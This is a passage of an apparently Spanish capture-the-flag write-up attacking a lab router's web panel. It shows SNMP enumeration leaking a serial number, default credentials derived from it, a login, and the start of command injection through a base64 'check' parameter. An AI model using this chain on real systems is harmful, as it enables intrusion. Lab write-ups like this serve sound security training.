</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 498
</span></span><span style="display:flex;"><span>Content-Type: text/html;charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Wed, 02 Jan 2019 00:54:44 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE HTML PUBLIC &#34;-//W3C//DTD HTML 3.2 Final//EN&#34;&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">title</span>&gt;Index of /doc&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span> &lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;Index of /doc&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">table</span>&gt;
</span></span><span style="display:flex;"><span>   &lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">th</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;top&#34;</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/icons/blank.gif&#34;</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;[ICO]&#34;</span>&gt;&lt;/<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;?C=N;O=D&#34;</span>&gt;Name&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;?C=M;O=A&#34;</span>&gt;Last modified&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;?C=S;O=A&#34;</span>&gt;Size&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;?C=D;O=A&#34;</span>&gt;Description&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">th</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;
</span></span><span style="display:flex;"><span>   &lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">th</span> <span style="color:#a6e22e">colspan</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;5&#34;</span>&gt;&lt;<span style="color:#f92672">hr</span>&gt;&lt;/<span style="color:#f92672">th</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;top&#34;</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/icons/back.gif&#34;</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;[PARENTDIR]&#34;</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/&#34;</span>&gt;Parent Directory&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&amp;nbsp;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">align</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;right&#34;</span>&gt;  - &lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&amp;nbsp;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;top&#34;</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/icons/image2.gif&#34;</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;[IMG]&#34;</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;diagram_for_tac.png&#34;</span>&gt;diagram_for_tac.png&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">align</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;right&#34;</span>&gt;2018-07-02 20:46  &lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">align</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;right&#34;</span>&gt; 35K&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&amp;nbsp;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;top&#34;</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/icons/layout.gif&#34;</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;[   ]&#34;</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;error_codes.pdf&#34;</span>&gt;error_codes.pdf&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">align</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;right&#34;</span>&gt;2018-07-02 18:11  &lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">align</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;right&#34;</span>&gt; 70K&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&amp;nbsp;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;
</span></span><span style="display:flex;"><span>   &lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">th</span> <span style="color:#a6e22e">colspan</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;5&#34;</span>&gt;&lt;<span style="color:#f92672">hr</span>&gt;&lt;/<span style="color:#f92672">th</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">table</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">address</span>&gt;Apache/2.4.18 (Ubuntu) Server at 10.10.10.105 Port 80&lt;/<span style="color:#f92672">address</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Descargamos los archivos de directorio DOC y encontramos que error_codes y diagram_for_tac nos indican mas información sobre la maquina:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>CW1000-X Lyghtspeed Management Platform v1.0.4d(Rel 1. GA)
</span></span><span style="display:flex;"><span>Error messages list
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Table A1 - Main error codes for CW1000-X management platform
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>45007 | License invalid or expired
</span></span><span style="display:flex;"><span>45009 | System credentials have not been set
</span></span><span style="display:flex;"><span>        Default admin user password is set (see chassis serial number)
</span></span></code></pre></div><p>El diagrama nos indica que Zaza Telecom tiene el AS 200, CastCom tiene el AS 300 y <strong>Lyghtspeed Networks tiene el AS 100</strong>. La misma de la pagina de login.</p>
<h1 id="discovery-of-a-snmp">Discovery of a SNMP</h1>
<p>Si, también me paso como otros que me confié de mis primeros resultados y llegue a un callejón sin salida. Gracias a un hit volví a lanzar el escaneo en UDP:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sU 10.10.10.105 -n -v --open -T4
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-02 10:37 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 10:37
</span></span><span style="display:flex;"><span>Scanning 10.10.10.105 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 10:37, 0.44s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating UDP Scan at 10:37
</span></span><span style="display:flex;"><span>Scanning 10.10.10.105 [1000 ports]
</span></span><span style="display:flex;"><span>Completed UDP Scan at 10:55, 1097.33s elapsed (1000 total ports)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.105
</span></span><span style="display:flex;"><span>Host is up (0.26s latency).
</span></span><span style="display:flex;"><span>Not shown: 969 closed ports, 26 open|filtered ports, 4 filtered ports
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE
</span></span><span style="display:flex;"><span>161/udp open  snmp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 1097.89 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 1672 (48.101KB) | Rcvd: 1148 (71.675KB)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@laptop:~# nmap -A -T4 -sU -p161 10.10.10.105
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-02 11:45 CST
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.105
</span></span><span style="display:flex;"><span>Host is up (0.19s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>161/udp open  snmp    SNMPv1 server; pysnmp SNMPv3 server (public)
</span></span><span style="display:flex;"><span>| snmp-info:
</span></span><span style="display:flex;"><span>|   enterprise: pysnmp
</span></span><span style="display:flex;"><span>|   engineIDFormat: octets
</span></span><span style="display:flex;"><span>|   engineIDData: 776562020a1908
</span></span><span style="display:flex;"><span>|   snmpEngineBoots: 2
</span></span><span style="display:flex;"><span>|_  snmpEngineTime: 39m48s
</span></span><span style="display:flex;"><span>Too many fingerprints match this host to give specific OS details
</span></span><span style="display:flex;"><span>Network Distance: 2 hops
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>TRACEROUTE (using port 161/udp)
</span></span><span style="display:flex;"><span>HOP RTT       ADDRESS
</span></span><span style="display:flex;"><span>1   188.42 ms 10.10.12.1
</span></span><span style="display:flex;"><span>2   185.49 ms 10.10.10.105
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 5.21 seconds
</span></span></code></pre></div><p>Como podemos ver, nmap nos devuelve que el puerto UDP/161 se encuentra abierto y con SNMP ejecutándose. Es mas, hasta la comunidad public para todos!</p>
<h1 id="snmpwalk">snmpwalk</h1>
<p>Realizamos un snmpwalk sobre el servidor con la comunidad public como target:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>xbytemx@laptop:~$ snmpwalk -v1 -c public 10.10.10.105
</span></span><span style="display:flex;"><span>iso.3.6.1.2.1.47.1.1.1.1.11 <span style="color:#f92672">=</span> STRING: <span style="color:#e6db74">&#34;SN#NET_45JDX23&#34;</span>
</span></span><span style="display:flex;"><span>End of MIB
</span></span></code></pre></div><p>Excelente! ahora tenemos el numero de serie del equipo! Si recordamos la información anterior, el equipo se encuentra con credenciales por defecto, donde el pass de admin es el numero de serie.</p>
<blockquote>
<p>creds: admin / NET_45JDX23</p>
</blockquote>
<h1 id="login">Login</h1>
<p>Usamos las credenciales que hemos obtenido para ingresar en la aplicación:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ http --form 10.10.10.105 username=admin password=NET_45JDX23
</span></span><span style="display:flex;"><span>HTTP/1.1 302 Found
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 0
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Wed, 02 Jan 2019 16:47:49 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Location: /dashboard.php
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Set-Cookie: PHPSESSID=dl2rd6kd8mrffdg0r3vlp1r8p0; path=/
</span></span></code></pre></div><p>Nos redirige a la pagina de <code>/dashboard.php</code>, la cual si recordamos descubrimos via <code>gobuster</code>. Estuve aburridamente revisando otras partes de la aplicación hasta que me tope con un POST.</p>
<p>Veamos el contenido de  <strong>diag.php</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~$ http --form http://10.10.10.105/diag.php &#34;Cookie: PHPSESSID=0pe9hk302pnup5s84e9984gd24; path=/&#34; check=cXVhZ2dh
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 820
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Wed, 02 Jan 2019 18:32:43 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">http-equiv</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;X-UA-Compatible&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;IE=edge&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">title</span>&gt;Diagnostics&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;css/bootstrap.min.css&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;css/style.css&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container-fluid&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;row&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-md-2&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-md-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">br</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Lyghtspeed&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;img/logo.png&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">ul</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav nav-pills&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-item&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-link&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/dashboard.php&#34;</span>&gt;Dashboard&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-item&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-link&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/tickets.php&#34;</span>&gt;Tickets&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-item&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-link disabled&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Monitoring&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-item&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-link active&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/diag.php&#34;</span>&gt;Diagnostics&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;/<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">br</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">p</span>&gt;Warning: Invalid license, diagnostics restricted to built-in checks&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">role</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;post&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;hidden&#34;</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;check&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;check&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;cXVhZ2dh&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-group&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                                &lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;btn btn-primary&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                                        Verify status
</span></span><span style="display:flex;"><span>                                                &lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;/<span style="color:#f92672">form</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">p</span>&gt;quagga     1026  0.0  0.1  24500  2356 ?        Ss   18:30   0:00 /usr/lib/quagga/zebra --daemon -A 127.0.0.
</span></span><span style="display:flex;"><span>1&lt;/<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">p</span>&gt;quagga     1030  0.0  0.1  29444  3860 ?        Ss   18:30   0:00 /usr/lib/quagga/bgpd --daemon -A 127.0.0.1&lt;/<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">p</span>&gt;root       1
</span></span><span style="display:flex;"><span>035  0.0  0.0  15432   168 ?        Ss   18:30   0:00 /usr/lib/quagga/watchquagga --daemon zebra bgpd&lt;/<span style="color:#f92672">p</span>&gt;                       &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-md-2&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;js/jquery.min.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;js/bootstrap.min.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;js/scripts.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Espera, a ese pokemon lo he visto antes. Así es, la salida de un <code>ps</code>. Esa variable check, suena sospechosa y también conocida, vemos si la podemos decodear:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ printf &#34;cXVhZ2dh&#34; | base64 -d
</span></span><span style="display:flex;"><span>quagga
</span></span></code></pre></div><h1 id="command-injection">Command injection</h1>
<p>Así que el parámetro que recibía <code>diag.php</code> via POST fue <code>quagga</code>. Esto huele a command injection. Preparemos con sustitución algunas cosas:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~$ http --form http://10.10.10.105/diag.php &#34;Cookie: PHPSESSID=0pe9hk302pnup5s84e9984gd24; path=/&#34; check=$(printf &#34;quagga&#34; | base64)
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 846
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Wed, 02 Jan 2019 18:57:17 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
